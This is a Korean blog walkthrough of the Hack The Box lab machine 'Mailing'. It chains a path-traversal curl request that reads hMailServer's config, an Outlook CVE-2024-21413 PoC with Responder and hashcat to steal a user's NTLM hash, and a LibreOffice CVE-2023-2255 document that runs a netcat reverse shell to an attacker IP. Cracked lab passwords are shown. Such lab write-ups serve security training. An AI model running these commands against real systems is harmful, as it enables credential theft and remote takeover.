정보 수집 (Enumeration)

rustscan으로 열린 포트를 검색했다. 메일 서버(hMailServer)가 SMTP/POP3/IMAP(25·110·143·465·587·993)에 떠 있고, 80번 IIS 웹과 445(SMB)·5985(WinRM)가 함께 열려 있는 전형적인 Windows 메일 서버 구성이다.

rustscan -a 10.129.94.146 -- -sC -sV -oN nmap
PORT      STATE SERVICE       REASON          VERSION
25/tcp    open  smtp          syn-ack ttl 127 hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Mailing
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
110/tcp   open  pop3          syn-ack ttl 127 hMailServer pop3d
|_pop3-capabilities: UIDL USER TOP
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
143/tcp   open  imap          syn-ack ttl 127 hMailServer imapd
|_imap-capabilities: IDLE RIGHTS=texkA0001 completed QUOTA CAPABILITY OK CHILDREN IMAP4 IMAP4rev1 SORT ACL NAMESPACE
445/tcp   open  microsoft-ds? syn-ack ttl 127
465/tcp   open  ssl/smtp      syn-ack ttl 127 hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/organizationalUnitName=MAILING/emailAddress=ruy@mailing.htb/localityName=Madrid
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/organizationalUnitName=MAILING/emailAddress=ruy@mailing.htb/localityName=Madrid
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after:  2029-10-06T18:24:10
| MD5:     bd32 df3f 1d16 08b8 99d2 e39b 6467 297e
| SHA-1:   5c3e 5265 c5bc 68ab aaac 0d8f ab8d 90b4 7895 a3d7
| SHA-256: 8d7d 9d08 9308 16c7 b0ff 8cf5 6dea 95a4 46df 683a 8516 9ae0 8269 7677 f80b 5b1e
| -----BEGIN CERTIFICATE-----
| MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP
| MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp
| ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV
| BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw
| HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx
| ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h
| aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0
| YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E
| wO5lTt/9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv/f
| i3xF2oo3Km6EddnUySRuvj8srEu/2REe/Ip2cIj85PGDOEYsp1MmjM8ser+VQC8i
| ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG
| pyERkp8reJe2a1u1Gl/aOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4
| OHC8uYfnQAITdP76Kt/FO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3
| DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY
| yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx
| Qgsu0BFYnMB/9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g
| ZQ3JHR8iU4thF/t6pYlOcVMs5WCUhKKM4jyucvZ/C9ug9hg3YsEWxlDwyLHmT/4R
| 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut
| spvR6dxGnhAPqngRD4sTLBWxyTTR/brJeS/k
|_-----END CERTIFICATE-----
587/tcp   open  smtp          syn-ack ttl 127 hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/organizationalUnitName=MAILING/emailAddress=ruy@mailing.htb/localityName=Madrid
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/organizationalUnitName=MAILING/emailAddress=ruy@mailing.htb/localityName=Madrid
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after:  2029-10-06T18:24:10
| MD5:     bd32 df3f 1d16 08b8 99d2 e39b 6467 297e
| SHA-1:   5c3e 5265 c5bc 68ab aaac 0d8f ab8d 90b4 7895 a3d7
| SHA-256: 8d7d 9d08 9308 16c7 b0ff 8cf5 6dea 95a4 46df 683a 8516 9ae0 8269 7677 f80b 5b1e
| -----BEGIN CERTIFICATE-----
| MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP
| MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp
| ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV
| BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw
| HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx
| ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h
| aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0
| YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E
| wO5lTt/9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv/f
| i3xF2oo3Km6EddnUySRuvj8srEu/2REe/Ip2cIj85PGDOEYsp1MmjM8ser+VQC8i
| ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG
| pyERkp8reJe2a1u1Gl/aOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4
| OHC8uYfnQAITdP76Kt/FO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3
| DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY
| yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx
| Qgsu0BFYnMB/9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g
| ZQ3JHR8iU4thF/t6pYlOcVMs5WCUhKKM4jyucvZ/C9ug9hg3YsEWxlDwyLHmT/4R
| 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut
| spvR6dxGnhAPqngRD4sTLBWxyTTR/brJeS/k
|_-----END CERTIFICATE-----
993/tcp   open  ssl/imap      syn-ack ttl 127 hMailServer imapd
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: IDLE RIGHTS=texkA0001 completed QUOTA CAPABILITY OK CHILDREN IMAP4 IMAP4rev1 SORT ACL NAMESPACE
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/organizationalUnitName=MAILING/emailAddress=ruy@mailing.htb/localityName=Madrid
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/organizationalUnitName=MAILING/emailAddress=ruy@mailing.htb/localityName=Madrid
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after:  2029-10-06T18:24:10
| MD5:     bd32 df3f 1d16 08b8 99d2 e39b 6467 297e
| SHA-1:   5c3e 5265 c5bc 68ab aaac 0d8f ab8d 90b4 7895 a3d7
| SHA-256: 8d7d 9d08 9308 16c7 b0ff 8cf5 6dea 95a4 46df 683a 8516 9ae0 8269 7677 f80b 5b1e
| -----BEGIN CERTIFICATE-----
| MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP
| MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp
| ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV
| BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw
| HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx
| ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h
| aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0
| YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E
| wO5lTt/9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv/f
| i3xF2oo3Km6EddnUySRuvj8srEu/2REe/Ip2cIj85PGDOEYsp1MmjM8ser+VQC8i
| ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG
| pyERkp8reJe2a1u1Gl/aOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4
| OHC8uYfnQAITdP76Kt/FO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3
| DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY
| yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx
| Qgsu0BFYnMB/9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g
| ZQ3JHR8iU4thF/t6pYlOcVMs5WCUhKKM4jyucvZ/C9ug9hg3YsEWxlDwyLHmT/4R
| 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut
| spvR6dxGnhAPqngRD4sTLBWxyTTR/brJeS/k
|_-----END CERTIFICATE-----
5040/tcp  open  unknown       syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?    syn-ack ttl 127
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
61596/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

 

80번 웹에 접속하면 Mailing 소개 페이지가 보인다.

 

‘Download Instrunctions’ 버튼을 누르면 안내문(instructions.pdf)을 다운로드 받을 수 있다.

다운로드 링크의 URL을 보면 파일명을 file 파라미터로 그대로 받는데, 이 값에 경로 검증이 없다.

http://mailing.htb/download.php?file=instructions.pdf

 

그래서 ..\를 반복해 상위 디렉터리로 빠져나가는 경로 순회(Path Traversal)로 시스템의 임의 파일을 읽을 수 있다.

 

 

초기 침투 (경로 순회 → hMailServer 자격증명)

먼저 존재가 보장된 hosts 파일로 취약점을 확인했다.

curl 'http://mailing.htb/download.php?file=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\System32\drivers\etc\hosts'

 

hosts 파일이 그대로 출력되어 경로 순회가 성립함을 확인했다. 이제 nmap에서 확인한 hMailServer의 기본 설치 경로(Program Files (x86)\hmailserver\Bin\hmailserver.ini)를 노려 설정 파일을 읽었다. 이 파일에는 관리자 비밀번호가 MD5 해시로 저장된 AdministratorPassword 값이 들어 있다.

curl 'http://mailing.htb/download.php?file=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Program+Files+(x86)\hmailserver\Bin\hmailserver.ini'

 

설정 파일에서 얻은 AdministratorPassword MD5 해시를 온라인 크랙 사이트로 평문 복구했다.

administrator@mailing.htb : homenetworkingadministrator

 

 

수평 이동 (CVE-2024-21413 → maya)

복구한 administrator 비밀번호로 메일 서버에 인증해 다른 사용자에게 메일을 보낼 수 있게 됐다. CVE-2024-21413(MonikerLink)은 Outlook이 file:// 형식의 하이퍼링크를 처리할 때 보호 메커니즘을 우회하는 취약점으로, 피해자가 메일을 여는 것만으로 공격자의 SMB 서버로 인증을 시도하게 만든다. 이때 피해자의 NetNTLMv2 해시가 유출된다. 공개 PoC로 maya에게 우리 SMB 경로를 가리키는 악성 메일을 보냈다.​

python CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password 'homenetworkingadministrator' --sender administrator@mailing.htb --recipient maya@mailing.htb --url "\\10.10.15.247\smbFolder\test.txt" --subject mailtest

 

메일을 받은 maya가 링크를 처리하면서 우리 호스트로 SMB 인증을 시도했고, 대기하던 Responder가 maya의 NetNTLMv2 해시를 캡처했다.

sudo responder -I tun0

 

캡처한 해시를 hashcat 모드 5600(NetNTLMv2)으로 rockyou 사전 공격해 평문을 복구했다.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt 

 

maya: m4y4ngs4ri

 

복구한 maya 자격증명으로 WinRM(5985)에 접속해 사용자 셸과 user 플래그를 얻었다.

evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'

 

 

권한 상승 (CVE-2023-2255 → 로컬 관리자)

maya 계정으로 접속한 뒤, 권한 상승 경로를 찾기 위해 시스템에 설치된 소프트웨어와 설정을 살폈다.

 

버전 취약점이 있는 소프트웨어를 찾기 위해, 설치 경로에서 버전 정보가 담긴 .ini 파일을 재귀적으로 검색했다.

Get-ChildItem -Path 'C:\Program Files' -Include *.ini -File -Recurse -ErrorAction SilentlyContinue

 

LibreOffice에 version.ini 파일이 존재하였다.

type 'C:\Program Files\LibreOffice\program\version.ini'

 

version.ini에서 LibreOffice 7.4.0.1 버전을 확인했다. 이 버전은 CVE-2023-2255에 취약하다. 이 취약점은 LibreOffice 문서에 삽입된 매크로가 사용자 상호작용 없이 문서를 여는 것만으로 실행되는 결함으로, 피해자가 악성 문서를 열면 공격자의 명령이 그 사용자 권한으로 실행된다.

PoC 코드를 사용해 공격을 위한 odt 파일을 만들었다.

python CVE-2023-2255.py --cmd "cmd.exe /c C:\Users\maya\Documents\nc.exe -e cmd.exe 10.10.15.247 443"

 

우선 윈도우 PC로 업로드 하였다.

upload CVE-2023-2255/output.odt

 

CVE-2023-2255는 피해자가 문서를 열어야 발동하므로, 생성한 odt를 상위 권한 사용자가 열람할 만한 위치에 놓아야 한다. 열릴 만한 경로를 탐색했다.

C:\ 드라이브에 Important Documents 디렉터리가 보여서 해당 경로에 파일을 놓았다.

move output.odt 'C:\Important Documents'

 

리스너를 열어 둔 상태에서 관리자가 해당 디렉터리의 문서를 열자 매크로가 실행되어, 로컬 관리자(localadmin) 권한의 리버스 셸이 돌아왔다. 이로써 시스템을 완전히 장악하고 root 플래그를 획득했다.

rlwrap nc -nvlp 443

'HTB' 카테고리의 다른 글

HTB - Access  (0) 2026.11.01
HTB - Timelapse  (0) 2026.10.18
HTB - Sauna  (0) 2026.10.16
HTB - Titanic  (0) 2026.10.10
HTB - Dog  (0) 2026.09.20

+ Recent posts